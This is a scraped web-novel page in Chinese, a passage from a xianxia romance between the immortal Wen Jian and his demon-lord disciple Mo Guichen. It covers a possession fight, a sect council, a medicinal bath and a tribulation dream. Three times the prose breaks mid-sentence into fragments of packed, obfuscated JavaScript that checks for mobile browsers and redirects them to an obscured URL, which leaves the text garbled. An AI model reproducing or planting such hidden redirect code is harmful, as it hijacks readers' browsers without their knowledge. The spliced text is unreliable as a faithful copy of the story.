红衫青年眸中噙出抹轻浮,意有所指道:“况且,师尊,不就是用来顶撞的么?” 掐住闻笺下颔就往下压。 忽而—— 那人反手捏住他腕,钳制。 闻笺将陌归尘困在身后的树干,素来对外清冷对内温柔的人,此刻强势而不容拒绝,反客为主捏住徒弟下巴,垂眸审视半晌,似要看个透彻。 这个姿势极具侵略性与压迫感。 陌归尘莫名更兴奋。 伸出尾指去勾闻笺的腰带,调笑嗔怪道:“师尊平日冷冷清清不近人情,原来动情了也如天底下所有男人一般色令智昏,真是猴急。” 打情骂俏似的:“老不正经。” 说话间,闻笺的指尖勾进他衣领,不经意触碰到锁骨,冰冰凉凉的,如晨间的霜雪掉落肌肤。 陌归尘情不自禁战栗。 随之而来的便是密密麻麻的亢奋,从脊背而上,蔓延侵占整个脑子。 青年了然垂眼,一颦一笑都带着毫不做作的魅态,脚尖轻抬,若有似无地撩拂闻笺衣摆:“这可是野外呀。” “师尊真狂野。” “既如此,徒儿定当好好满足师尊。” 陌归尘手掌抓上闻笺腰带,刚要扯断的动作被一只手掌扼制住,连带他撩拨的脚尖也被闻笺那道冷寒的灵息压回地面,安安分分不得动弹。 “嗯?” 陌归尘不解,但对方显然也没有替他解惑的意思。 挣扎几下,仍是无济于事。 闻笺其实没使几分力,但陌归尘实在挣脱不出这手掌,连忙软声示弱:“疼,师尊弄疼我了。” 嗓音刻意掐得温软,呜呜咽咽,似初生的小动物:“师尊,我疼。” 闻笺不为所动,冷若冰霜垂视陌归尘:“他不会喊疼。” “师尊不晓得怜香惜玉,还不允许徒儿疼,好生霸道。” 闻笺沉默,偏头看了眼天上那轮诡异血月,大手一挥,乌云倏然闭月,失去血色月光笼罩,底下人随之抽搐一下。 手臂忽而被陌归尘抓紧。 “唔。” 他低头,只见徒弟闭目,痛苦咬唇,唇瓣血丝染着贝齿,整个人如泡在水里般,浑身沾满水迹,跌靠树干,扬起冷白而脆弱的颈脖。 几道青筋微浮。 似随时要爆体而炸。 就像两股力量在互相博弈,时而是纯粹的灵息,时而是古怪的邪气。 “额。” 四面八方的各种气息,顷刻间,似落漩涡,被吸着灌进陌归尘的肌肤。 源源不断的灌溉,叫人难以承受,五指颤颤近乎暴走的青年早已混混沌沌失去理智, 他抬手就劈了出去,掌气直将远方山头轰成齑粉。 狠戾可怕,不留情面。 闻笺险些避不开。 青年整个人处于半猫半人的癫狂状态,也露出本体异瞳,目光冷寒,显然是意识全无,不认得人。 猝不及防朝闻笺发起攻势。 闻笺侧身接招。 烟尘四起,整片林子充盈着各种灵力光辉,陌归尘招招凌厉,大有种将人置之死地的阴狠毒辣。 闻笺剑未出鞘,一直处于防守状态,再一次,他徒手接下徒弟黑鞭。 “听话,凝神。” 陌归尘望人,化去满身戾气,悄然装乖望着闻笺,惊讶眨眨眼:“师尊?”。 “为师在。” 陌归尘微笑,缓缓靠近闻笺,藏在背后的掌捏紧,一步,两步,三步,终于停在闻笺身前。 他牢牢盯着闻笺胸口。 铮—— 时隔十年,无双剑再次被陌归尘拔出。 一如当年。 直愣愣便要刺向闻笺心口。 生死一瞬间。 那柄剑,倏然停在半空,将刺未刺。 陌归尘手背青筋乍现,剑身嗡鸣震动要往前捅,似怕自己再次失去对身体的掌控权,他抬手,毫不留情便是对着自己轰出足以毙命的一击。 “咳。” 眼前喷来血红薄雾。 是对面的闻笺嘴角溢出鲜血。 陌归尘轻笑倒下。 怎么如今这幻觉越发离谱,打的明明是自己,受伤的竟会是师尊。 不省人事前,又猛然释怀,幻觉嘛,哪来逻辑可言呢…… 红影无力倒下,闻笺眼底划过抹急色,瞬间接住徒弟。 他脸色凝重,抓住徒弟的袖摆便想掀起检查身子异样。 望着徒弟那半截莹白无血色的腕,陡然停下动作。 闻笺静默了一瞬。 本来想横抱徒弟回去,奈何手臂刚穿过徒弟膝弯,又是动作一顿,停了下来。 堂堂玄胤仙尊,竟也会有如此优柔寡断的一天。 思来想去,最终背起徒弟。 * 山路崎岖颠簸。 陌归尘意识模糊醒来。 鼻尖满是栀子花味,清香中夹杂丝苦涩,是闻笺的气息。 陌归尘恍惚而不敢睁眼,最近的好梦真是越发离谱了。 躺在这方宽阔的肩背上,青年依恋十足地搂紧几分,连带指尖都情不自禁抓上闻笺一缕发丝。 就像梦回儿时,回到那样美好的日子里。 “累死了!闻笺你背我!” “……” 师尊都还没发话,小徒弟已经无法无天地爬到自家师尊的后背,两只小手臂死死捆住师尊脖子,软磨硬泡不肯下来。 师尊轻叹一口气,遂意。 师尊刚走几步,身后的小团子更是大逆不道地抓上自家师尊的两缕发丝。 两只晃悠的小腿往他腰腹一蹬,嗓音破空高喊着 ——“驾!” ——“骑马咯!” …… 明知是假的,可伏在那方坚实温厚的肩膀,所有的委屈还是迎来发泄的契机,陌归尘闷头在自家师尊肩窝,瓮声瓮气咕哝了句模糊话音。 闻笺感受到背上的徒弟,窸窸窣窣动了动,随后抓起他一缕发丝胡乱捣鼓。 “醒了?”他问。 “……”回答他的,只有林中有条不紊的脚步声。 好半晌,徒弟也没说话的意思,但依稀可辨这人该是欢喜的,毕竟徒弟那松软的猫尾巴正在甩来甩去,还饶有兴致地玩他头发。 跟个长不大的孩子似的。 闻笺无声低叹,到底也没阻止,任由徒弟继续把玩他的青丝。 片刻后,肩背上的徒弟喃喃自语:“你可知我这十年是如何过来的?你都不问问我怎么过的。” 嘟嘟囔囔重复半天。 “都不问我。” “都不问我。” “都不问我。” …… 委屈又可怜。 像极个走丢许久,柳暗花明中找到家长,而声声控诉的别扭孩子。 闻笺脚步忽而顿下,偏头望着这夜,星月相伴,流光皎洁,话音轻得像流云飘过:“明明是你不愿与为师好好说话。” 话刚完,徒弟闷头坠坠,晕睡过去,双手一滑,无意识垂落到他胸前,连同掉落的,还有在徒弟手指甩出来的结子。 一个以两股发丝纠缠结成的黑白结子。 那是—— 徒弟用二人发丝打的……同心结。 * 陌归尘醒来时发现自己回到落霞峰。 几个人模人样小灵藕从桌上跳下来围着他嘘寒问暖。 其中一只稍小的小灵藕吃力拖来只荷叶鸡,扯下个鸡腿:“你醒啦?饿吗?吃。” 陌归尘摇头:“不饿。” 闻笺没有让人伺候的习惯,但收了他这么个小孩儿当徒弟,怪是能折腾,且二人虽是师徒,也总归需避嫌的,譬如某些过于亲密的接触,既不好假手他人,更不好亲自上手,便都交赋给这些闻笺特地从莲池摘来炼化以供他使唤的小莲藕。 照顾他的起居饮食,伺候他洗漱打扮,偶尔也给他解闷。 陌归尘揉揉发昏的脑袋,问:“我睡了多久?” “三日三夜。” 闻言,他环顾四周,放出神识探了探方圆百里,空无一人。 “闻……你们仙尊人呢?” 其中那只穿着相当华贵的小灵藕被鸡腿压得啪一下跌坐,从鸡腿扒拉出两只小圆手,气喘吁吁道:“师尊,师尊在,在议事堂。” 这幕看得人不由轻笑。 陌归尘拿起鸡腿:“笨死你!这么多年,还是不见长进。” 小灵藕委屈极了:“这又不能怪我。” “怪我咯。” 陌归尘手指捏着灵藕的手,把小灵藕带起来。 确实怪他。 毕竟这只灵藕小人是他当年年幼无知,贪玩之下模仿师尊的路子照着自己模样炼化的。 他炼化的这只小灵藕,非但比师尊炼化的小,还长着双软茸茸的猫耳和一条大尾巴,本该娇媚撩人,却呆头呆脑的,活脱话本里的笨蛋美人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375703|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >把它卖了还笑意盈盈替人数钱,珠算也不会,怕是数钱都能数错那种。 能活到现在便谢天谢地了。 哪能比得过师尊所炼。 原以为闻笺会把他的这只笨得一无是处的小灵藕丢掉,倒不曾想,堂堂玄胤仙尊还知道给小灵藕打扮。 这小灵藕的衣饰华贵程度,比起当年的青栀,分毫不差。 墨发用碧玉镶琉璃金冠束起,冠边的两抹飘带都是上好的丝绸,流霜一般垂下,项间挂着金圈缀和田玉吊饰铃铛,跑起来时满是铃铃当当的清脆声,连袖袍口都镶银丝流云滚边,精致华贵得不行。 一言蔽之:奢靡。 “闻笺对你还挺好。” 小灵藕春风得意叉腰,毫不掩饰地炫耀:“自然!师尊对我可好了!” 陌归尘盯着底下这与自己真是模样七八分相似的小灵藕,曲指敲了敲小灵藕的脑袋。 “那是我师尊。” 大抵被养得娇气,小灵藕捂着脑袋,泪汪汪咬唇,鼻尖通红,委屈巴巴瞪人:“哼!”随后气鼓鼓地跑到角落小柜,翻出个小枕头,爬到自己的小床,钻进小被窝里再也不理人。 陌归尘却看得更为震惊。 不由得暗中腹诽几句,堂堂玄胤仙尊,到底得闲到哪种程度,才会给这么一个小人藕,又是做衣柜又是做床铺的。 当真有种平静的疯感。 * 浮华派。 正峰主殿,议事堂。 主位掌门厉声道:“我就说他是个祸害!好好出门历练,差点便叫我几十名弟子与他陪葬。” 三张老讪笑替人说话:“师兄你这话不对,这怎么能赖到人家小白毛头上?” “天机石还能骗我们不成?卦象显示,此子命理亏损,本就是个不该存活于世之人,偏偏让他苟且偷生至今日,难怪上次能触怒秘境之主。” “再且,以往可没出过这等子事,怎么偏偏他来以后,便是祸事不断,若非是他天生孤煞招来祸端,怎会叫旁人平白无故遭受无妄之灾?幸好闻师弟及时化险为夷,否则我浮华派几十名弟子,真是何其无辜!” 掌门眉心突突发疼:“祸害啊!闻师弟你听我一句劝,此子真的——” 闻笺淡声打断,话中透着不容置喙:“师兄,那夜只是意外,与他无尤。” “你啊你!” 掌门气得青筋暴跳:“一天天净护着他!” “天知道是不是他勾结妖魔邪道,步某人后尘,意图残杀同门。” …… * 陌归尘刚走进大殿门口,便听到这么一段对话。 “闻师弟,你就这么信他?” “我的徒弟,无需旁人定夺,我自有了解。” “我看你就是徇私枉法,公然偏袒!” “是非曲直,自有公理,轮不到我来审判,而我,只须站在他身旁。” 不得不说,外界谣传玄胤仙尊护短,还真并非三人成虎空穴来风,他的徒弟简直就是专门长在逆鳞上,旁人说不得骂不得,掌门简直被闻笺气得郁结吐血,对方虽为自己师弟,可到底碍于仙尊身份,不敢过份,这无处发泄的怒火,正好一腔落在门外骤然而现的红影。 也就是那名罪魁祸首! 掌门厉喝一声:“陌归尘!你还有没有规矩!不通报便硬闯议事堂,这掌门让你来当好不好?” 陌归尘:“……” 他懒懒耸肩,玩世不恭笑答:“到了晌午用膳时辰,弟子是特地来请掌门吃鱼。” 掌门:“?” 陌归尘:“毕竟掌门师伯挑刺还挺有一手的。” 掌门语塞一愣,偏头就告状:“闻师弟!你看他,他他他!简直目无尊卑!真是气煞我也!” 闻笺无奈启唇:“小陌。” 陌归尘敷衍十足地作揖行礼,话语也是散漫不着调:“知道了,弟子不逼师伯便是,省得他急了跳墙。” “好了,回吧。” 三长老看得更乐呵。 他这闻师弟待徒弟骂完再不咸不淡开口,象征性地意思一下,有够护短的! 活脱民间唱戏的,一个唱红脸,一个唱白脸,师徒俩可真会打配合呀。 师徒二人前后离开。 掌门也恍惚品出些不对劲儿,后知后觉似的喊住三长老。 “老三,不对不对。” “那那那小白毛最后一句话什么意思?” 三张老憋了半天的笑,终于肆无忌惮释放。 “哈哈哈哈哈。” 他对着自家师兄做出个咬合的口型:“汪汪。” 17. “我的徒弟,何以不信?” 17. 师徒二人刚走出主殿,便撞见迎面而来的黄金。 黄金喜逐颜开:“陌兄,巧了。”随后又恭恭敬敬朝闻笺拱手作揖,“仙尊有礼。” 陌归尘望着黄金,忽地想起那夜的黄银似乎不见人影,便是询问了句:“令妹可还好?” “我妹妹?” 黄金话刚出,陌归尘情不自禁偷瞄身侧负手而立漠然不语的闻笺,生怕被误会,心虚似的,画蛇添足补充,“那夜不见她,所以问问。” 黄金回:“挺好的呀。” 他们此次出门随机分成两个队伍,一个大师姐带队,另一个则由大师兄带队,他正好与自己妹妹分开,半路又遇到妖魔作乱人间,耽搁了两天,但也有与妹妹传音聊天,提及地点,得知他们相隔不远,妹妹那夜便来寻他,恰好避过那茬事儿。 这几日听旁人提及那夜的凶险,黄金无不担忧问:“倒是你,可有受伤?我找你几次都没醒,你这可是睡了三日三夜啊。” 陌归尘摆手:“无事。” “噢,那我继续送请柬了,百花会在即,同时又是玄灵宗建宗百年大诞,到时候我们仙门各派齐聚一堂,估计也会将共议围剿魔界之事提上日程。” 百花会? 陌归尘清楚,这百花会赏花只是个由头,实际是各宗各派弟子们的相亲大会,遥想当年,他收到的花简直是盆满钵满,足以媲美潘安的掷果盈车。 便也是那次不知为何被闻笺误会,误会他与某位宗门师姐情谊相投。 也才有了后来拒婚一事。 低头摸去腰间的玉佩,又恍惚想起师尊那日的话:君子无故,玉不去身。 君子无故,玉不去身。 从未曾设想,如此简单的八个字,竟也能演变成他无数个日夜的噩梦。 隐秘的情愫被压回骨髓里,可仍抵不住午夜梦回时,几近要破体的叫嚣。 原来,喜欢是藏不住的。 “陌兄?” “陌兄在想何事,这般出神?”眼前一双手影挥挥,“莫不是你也在琢磨如何围剿魔界?” 提到围剿魔界,黄金总是无端兴奋,陌归尘冷不防觑人:“围剿魔界?” 黄金雀跃抚掌:“是呀!手刃无极大魔头,指日可待!” “他是杀过你全家吗?叫你这么恨不得除之而后快?” 黄金语塞:“我都没见过他。”尔后肃穆道,“但他可是魔道。” 陌归尘:“魔道又如何?” 黄金:“魔道自然是当诛呗,我们可是仙门正派,师尊教导,自古正邪不两立,降妖伏魔乃我们职责所在。” 陌归尘:“何为正,何为邪?” 黄金:“这,自然我们仙门弟子为正,妖魔鬼祟为邪。” 听完这话,陌归尘垂眸失笑,话语平淡,却无不是讽刺道:“据我所知,曾将不入世的血精灵种族赶尽杀绝的,便就是你口中所谓的仙侠正道。” “而收留血精灵的,恰恰是你们想要围剿的妖魔邪道。” “仙侠重在侠,若无侠,那就休论正邪。” “这……” 黄金正欲反驳,忽而被出来的三长老打断。 “徒弟呀,怎么来了?” “我来呈请柬。” “那还不随为师进来?” “噢,好好。” 见黄金小跑进门,三长老才往陌归尘师徒二人歉意笑笑:“这孩子,缺根筋儿,直肠直肚的,若有哪里扫兴,我替他给你赔个不是。” 陌归尘微微颔首俯身,礼数周全:“三师伯言重。” 目睹三长老进门,陌归尘也侧回身子。 “师尊呢?” 他定定望向闻笺,一如当年那个求知若渴的几岁孩子。 “闻笺,到底何为侠义?” “侠义的本质为悲悯,而非杀戮,侠之大者,为国为民,怜我世人,忧患实多。” …… 神思回笼,陌归尘仍在看闻笺:“师尊以为如何?” 闻笺眺望远方山脉:“你心中自有明镜,无须为师多言。” “你就不盘问一下?万一我真如掌门师伯所言那般,心怀不轨呢?你就这么相信我?” “为师确实有话要问,你身子可有异样?譬如奇怪的图腾?” 陌归尘:“……” 陌归尘略有不悦瞪人:“不要转移话题。” “随为师来。” 陌归尘杵着没动。 前方闻笺走出几步,见徒弟俨然无丝毫跟上的意思,得不到答案便撒泼不走,还真似个闹别扭的孩子。 他垂着眼,无声笑了笑,转身时,清冷如常,不答反问:“我的徒弟,何以不信?” 昨夜下过雨,如今雨过天晴,万物青葱明净,是片光风霁月的祥和景象。 日光倾注而下,覆落闻笺身,给人镀上淡淡的莹白光辉。 伫立石阶的雪影,就这么回头望着陌归尘。 我的徒弟,何以不信? 我的徒弟,何以不信? 我的徒弟,何以不信? 话语遍遍萦绕耳畔。 陌归尘心尖儿冒出点酸水。 这浮华派的大好风光真是迷人眼呀,可是…… 可是…… 他终是没能问出口。 倘若你的徒弟,是那个人人得而诛之的大魔头呢? * 妙药峰,灵泉药池。 前后走进两个身影,雪影直奔木案,随手捻起几味药材丢进药臼,拿起杵臼捣药。 陌归尘则站在其中,曾经长大的地方,十年未归,如今再踏足,竟莫名局促。 墙角的人似看穿他的拘谨,有些好笑道:“怎么,还跟为师客气起来了?” 熟悉的调笑,瞬间将人拉回旧梦里。 曾经的小身影一脚踹开门,直奔房中榻几,扒拉几串青提,懒洋洋往那一躺。 白衣仙人:“真是半点不客气。” 几岁的小徒弟:“我跟师尊有什么好客气的呀,以后我和师尊生分了,有你哭的!” 童言无忌,却一语成谶,想不到那些戏言还真应验了。 只是生分是真。 至于哭…… 陌归尘斜觑闻笺,这么一位不食人间烟火的仙人,大抵是不会为他坠入尘网,饱受七情六欲折磨。 想来也只有被他拉下神坛,坠落欲.海,那双清冷无波的眸子,才会含上泪意罢。 陌归尘邪恶地想。 应该很是别有一番滋味。 吭吭将将的捣药声骤然而停,闻笺拿起药臼,倒进热气氤氲的灵泉,又撒下几瓶药粉:“道不同不相为谋,没必要执着说服旁人,有的人只为求同,而非存异。” “嗯?” 陌归尘还没反应过来。 那人又道:“大道三千,存在皆有因,皆因必有果。” 这次,陌归尘没吭声,闻笺是在回他与黄金争论的话。 他悄悄瞥去池边的雪影。 那人指尖还探在泉面,似在试水温:“来泡药浴。” “药浴?” “嗯。” 陌归尘:“……” 他一只猫,泡什么药浴,猫儿最怕水了。 尤记得刚来落霞峰那段日子,回回浴身都能与伺候他的那堆灵藕僵持半天。 那时还懵懂,非但怕自己沐浴,也怕师尊沐浴。 好几次师尊在灵泉,他便蹲在外面候着,不时探头查看人,奈何什么也瞧不见。 师尊出来时,都被逗得哭笑不得,问他蹲在门口做什么。 做什么呢,他不知,就是烦躁不已,两只手抓抓挠挠划拉门槛等待,想要看到师尊安然无恙。 几岁的孩子天真地想,若师尊再不出来,就跳水去叼人。 …… 陌归尘从回忆抽身,扫了眼仙气缭绕的灵泉,转身要走。 半只脚跨出大门。 身后传来声音。 “回来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375704|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻声停下,陌归尘神色古怪打量闻笺。 闻笺也似无奈:“此灵泉于你身子骨大有裨益,当师父的,能害你不成?” 连带声音也放缓许多,哄人似的,瞧着他说:“听话,过来。” 陌归尘:“……” 堂堂魔界尊主,傲惯了,本欲付诸行动表示自己并不想听话,奈何回过神时,这半个身子竟已泡进药泉。 该死的,老男人那双眼睛会勾人。 估计,八字也克他。 罢。 陌归尘打算趁闻笺离开,便爬起偷偷溜走。 隔着道屏风。 某位老男人声淡如水,怪是挠人道:“为师在此陪你,若有不适,随时告知。” 陌归尘:“……” 很好,计划落空。 池边,跑来几个灵藕,甚是熟稔伺候人,时而扇凉擦汗,时而捶背捏肩,时而…… 不消片刻,又跑来只小灵藕,小灵藕拖着笨重的药碗,低头翻出颗粽子糖。 “药苦,师尊给你的。” “我多大人了,喝药还吃糖?”陌归尘嫌弃道,利落端走药碗,药味酸涩呛鼻,还是一口闷掉。 小灵藕:“你不吃,我吃。”张大嘴巴,却“硌”一下咬空,是手里的糖被抢走了。 便听陌归尘霸道宣示主权似的:“那是我师尊给我的。” “你……” 糖被抢走,小灵藕撅起嘴巴,瞪着陌归尘,抱手,一屁股坐下。 转头望着乌黑的药池,脸色煞白,小腿瑟缩一下,悄悄往后挪动身子。 这幕被陌归尘纳进眼底。 大抵是因他以自己为原型炼制,这具小灵藕的习性与他也有七八分相似。 许是怕水。 怕水竟还赖在池边,真呆。 思忖片刻,陌归尘捏起那颗糖,在小灵藕面前晃悠,直把人馋得眼光光,流出两滴哈喇子。 他问:“想吃?” 小灵藕点头如捣蒜:“嗯嗯。” “不给你。” 随后,当面吃进嘴里。 “呜。”小灵藕哇一声,琉璃眸上含着泪,眼尾薄红,偏着头瞪人,差点没哭出来,“我要告诉师尊!” 陌归尘推推小灵藕:“去,快去,看他理不理你。” 小灵藕揉着眸,笨拙爬起,大抵是先天缺陷,走路也不是很稳,摇摇晃晃,跌跌撞撞跑走。 边跑边哭着告状:“师尊!你徒弟欺负我!” “他不给我吃糖!” 隔着屏风。 依稀可见两道剪影,闻笺放下卷轴,弯身,伸出手掌接起差点摔倒的灵藕,指尖替后者拭泪:“还有。” 言罢便给小灵藕喂了颗糖。 吃到糖的小灵藕破涕为笑。 闻笺放下灵藕:“去玩罢。” “嗯!” 小灵藕蹦蹦跳跳跑走。 见状,陌归尘暗中嘀咕,真好哄,难怪被师尊拿捏得死死的,骂到后面,也不知是骂小灵藕还是自己。 * 灵泉殿静得针落可闻。 许久没听到徒弟的动静,闻笺再次放下卷轴,起身,绕过屏风,视野豁然开朗。 药池水面热气升腾,红影双手搭在池边,懒懒趴着,埋头枕臂,竟是睡着了。 池中人红衫湿透,一时艳丽无比,便衬得那方脸颊更显苍白孱弱。 闻笺单膝蹲下。 熟睡的徒弟,头发湿漉,零零散散粘挂在脸颊,还有几缕沾到微红的鼻尖。 大抵是发丝惹来点痒意,睡梦中的人有些不适地努努鼻子。 许是没弄掉发丝,又不满哼唧了声。 闻笺无声浅笑。 他伸出手指,将徒弟凌乱的银发拨到耳廓后,又端详半晌,底下人眉眼长开不少,只是也…… 瘦了。 良久,闻笺缓缓开口,声音如才从遥远的往事中穿梭归位,轻若流云飘过。 “是不是没好好用膳?” 18. 血色蔷薇。 18. 言罢,闻笺抬手,惯性去摸徒弟脑袋。 掌心还未触碰到柔软的发顶。 却是一顿。 他望着自己晾在半空的手,指尖微不可察动了动,倏地收手,起身,重新招来几个灵藕,交代几句便离开。 * 不知多久后。 陌归尘从股暖流中醒来,浑身经脉都似得淬炼重塑般舒畅,不得不承认,闻笺果然医术举世无双,这药池比他堆几百颗丹药都要见效快。 他歪头伸懒腰的功夫,余光正正瞧见屏风后藏着个小身影。 分明怕水,还非要要赖在此。 “怎么还不走?” 闻言,小灵藕蓦然收起露出屏风的半条小腿,颇有点掩耳盗铃的感觉。 陌归尘忍笑:“早看见你了。” 至此,小灵藕探出半个脑袋,耷拉下白绒绒的猫耳朵,顶着双滴溜溜的圆眼异瞳,怯怯糯糯望人。 好半晌后,小灵藕嘴巴砸吧了一下:“你饿吗?” 说着便吃力拖出只盘子。 盘上赫然躺着个荷叶鸡,盘边还有几颗剥皮青提,水淋淋的。 还知他吃青提爱剥皮。 陌归尘觑了眼小灵藕无处安放的爪子:“也不嫌黏手。” 小灵藕不以为意:“黏就洗手呗。” 陌归尘:“不是怕水?” 小灵藕挠头:“你……你怎么知道?”边说边歪头沉思,小小的脸蛋儿写满大大的疑惑。 陌归尘望着小灵藕。 看得出,这家伙有在努力克制自己,装作喜怒不形于色,奈何八百个心眼子全写在脸上。 怕。 就是怕水。 视线转瞬停在小灵藕那双爪子,沾满油水与果汁,就这么抓上干净秀亮的青丝,直把陌归尘看得眉头紧蹙:“你……” 他不忍直视低叹,捏出个清洁术:“养你,真是难为你们仙尊了。” 小灵藕不以为然反驳:“不会呀,师尊从来不嫌弃我,师尊还夸我可爱呢。” 陌归尘强颜欢笑:“可爱?” 陌归尘:“看来你们仙尊真是老了。” 小灵藕歪头,认真问:“啊?什么意思?” 陌归尘:“年纪大了,眼神不好使呗。” “……” 这下,小灵藕简直被气炸,叉腰跺脚维护道:“师尊这么好!你不可以说师尊坏话!” 陌归尘也被逗乐:“我偏说。” 小灵藕:“啊啊啊!”炸开的尾巴一甩,扑过来就往陌归尘手掌啃了一口泄愤。 “嘶,你要造反啊。” “哼!” 哗啦一声,陌归尘袖袍挥起,以为那人是要还手,小灵藕吓得抱头一缩,往后躲了躲。 却见那人只是来到铜镜前。 锦袍飘然落地。 不知这人是作何,小灵藕好奇打量陌归尘,随着几件衣物落地,一片雪肩陡然闯进视野,叫人满脸热胀,羞答答捂眼。 “啊!” “你干嘛脱衣服!” 陌归尘没理会小灵藕,只是静静注视铜镜中的自己,恍惚想起正峰时与师尊的交谈,那故意忽略的话语。 ——奇怪的图腾。 此刻,一株血色蔷薇,正妖娆藏在他肌肤下。 指尖抚上心口,那株花似苏醒般,眷恋十足地舔舐了一下他的手指,怪异的触感瞬间萦绕在指端。 就像被舌尖包裹似的。 湿濡,又温软。 陌归尘匆匆收手,若无其事穿好衣衫。 刻意回避,倒不是不愿答,而是不敢言明,事情错综复杂,他怕措辞稍有漏洞,聪慧如师尊,再与他周旋几句,便会从蛛丝马迹中牵扯出他的魔尊身份。 届时都不用师伯与各大仙门联手,估计也会当场毙命在那个生活了十几年的地方。 若真要死,终归是死在外面要好些。 免得自己的血,脏了师尊的落霞峰。 起初他想不懂,为何冥冥中注定似的,偏偏要他在三月初七这日回到浮华派,又那么巧,师尊挡了他离开的路,就连那秘境之主都在为师徒二人铺路。 如今他明晓了,这场重逢,无非是上苍怜悯,让他来作最后的告别而已。 * 魔界,魔鬼城。 于这片大陆,魔界地势极为高耸,这座城楼更是魔界最高之处,比起浮华派那样的仙山,也是高出半个度。 陌归尘又站在楼顶,俯瞰万家灯火。 余光情不自禁落在魔界入口,明知不会有人来,却也不知自己这些年在盼什么。 若真有一天来人了。 盼来的,怕也只是他的死期。 “唔。” 角落忽而发出点声响。 听闻动静,陌归尘循声望去:“你在此做什么?” 一只小精灵从角落飞出来,腼腆低着头:“我在背爷爷给的千年古籍,只是有些字,我不认得。” 小精灵抱着书,歉意行礼:“尊主大人,是我打扰到您了吗?” 陌归尘问:“哪几个字?” 小精灵惊喜扑棱翅膀,翻开古籍,指着某列字眼,脆生生道:“这几个字,我都不会。” 陌归尘顺着小精灵手指瞧去,那页简单罗列着些古老种族,而被指的正是:“九尾一族。” “九尾一族?” “嗯。” “我听爷爷说过,千年前他见过九尾一族最后的王。” 放在平日,陌归尘是全无八卦之心与人闲聊,但大抵是话题中设计到自己的种族,他生出丝好奇心:“王?” “嗯嗯,爷爷说,九尾一族的王可厉害了,拨乱反正,拯救黎民百姓于水深火热之中,只可惜,九尾一族命数已尽,他们的王诞下个死婴,也撒手人寰,此间应该再无九尾族了。” …… 是夜。 陌归尘做了场梦。 梦里天地色变,乌云滚滚,雷声蕴含的力量,浩瀚狂暴,撼天动地。 落霞峰后山。 狂风猎猎,紫金雷电狰狞又粗粝,以气吞万里河山之势,轰然劈下。 道道硝烟,直将人带落万鬼窟,恶鬼狰狞,哀怨低吟,白骨鬼手疯狂朝他撕扯而来。 陌归尘愣在那条黄泉道,孤立无援,不知所措。 身后忽而闯进甘霖般的光。 轻轻照拂他。 他想回头。 身后那人却制止着他:“别回头,为师在。” 这一路走来,陌归尘共听闻九十九道雷。 九十九道雷劫是什么概念? 他只知天罚也不过九重天劫,九九归一,毁天灭地。 可这九十九道…… 无一落在他身! 只身闯万鬼窟到独登青云梯,他听到最多的,便是师尊适时给出的安抚。 “抬头看,别回眸。” “别怕,为师一直在。” “好好走下去。” 当初还在落霞峰,闻笺没刻意隐瞒他,加之血脉觉醒,他自然清楚自己乃九尾族后裔。 也理所当然认为自己历劫与普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375705|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通修士有所区别。 闻笺更是向来宠他疼他,陪着自己历劫又何妨? 故而,他从不怀疑。 如今回味起来,真是哪哪都不对劲儿。 那从来都不是单纯的历劫,是闻笺在帮他逆天改命,是闻笺在一遍又一遍地承受天谴。 魔宫寝殿。 银发青年从梦中挣脱出来。 月色清幽落下,透过窗棂洒进片白霜,陌归尘低头抚摸自己的九条尾巴,喉间紧得发烫,猛地咳出一口血来。 他不知自己为何能存活于世。 但他猜测,这九条命,十之八九是师尊给的,是师尊逆天改命,给了他九条命。 所以轻衣说亲眼瞧见闻笺蹲在地上捡他的命牌碎片那夜,是师尊以为他死了九次。 多大的恨,才会叫人宁死九次也不复相见。 在师尊的视角里,亲手养大的徒弟,宁可死九次,也不愿再见他,该有多难受? 直至此时此刻,陌归尘也恍然醒觉,自己所知,也许只是冰山一角,师尊的付出,远比想象中多得多。 人的情感总是来得奇怪,他们甚至没有好好就从前种种恩怨隔阂促膝长谈过半句,但在这刻,纵有再多的不愉快,貌似都释怀了,冰释前嫌了。 就是那么一瞬间,竟放下了。 刹那,魔宫灵光冲天。 竟是突破了。 滔天灵光覆盖整个魔界,绯色灵息悠悠飘落,天地万物备受福泽。 街道上络绎不绝的小妖小魔沐浴其中,欢呼狂舞。 “是哪位大能顿悟了?” “呆子,除了咱们的尊主大人还能有谁?” “恭贺尊主突破!” 受到自家尊主的灵息温抚,经脉舒畅不已,甚至有不少滞留在瓶颈期迟迟未能晋级之徒顿时进阶。 万民纷纷自发朝拜,情真意切,感恩戴德匍匐在地:“受命于天,既寿永昌,三界独尊,唯我无极,文成武德,千秋万载!” …… * 落霞峰,书房门前。 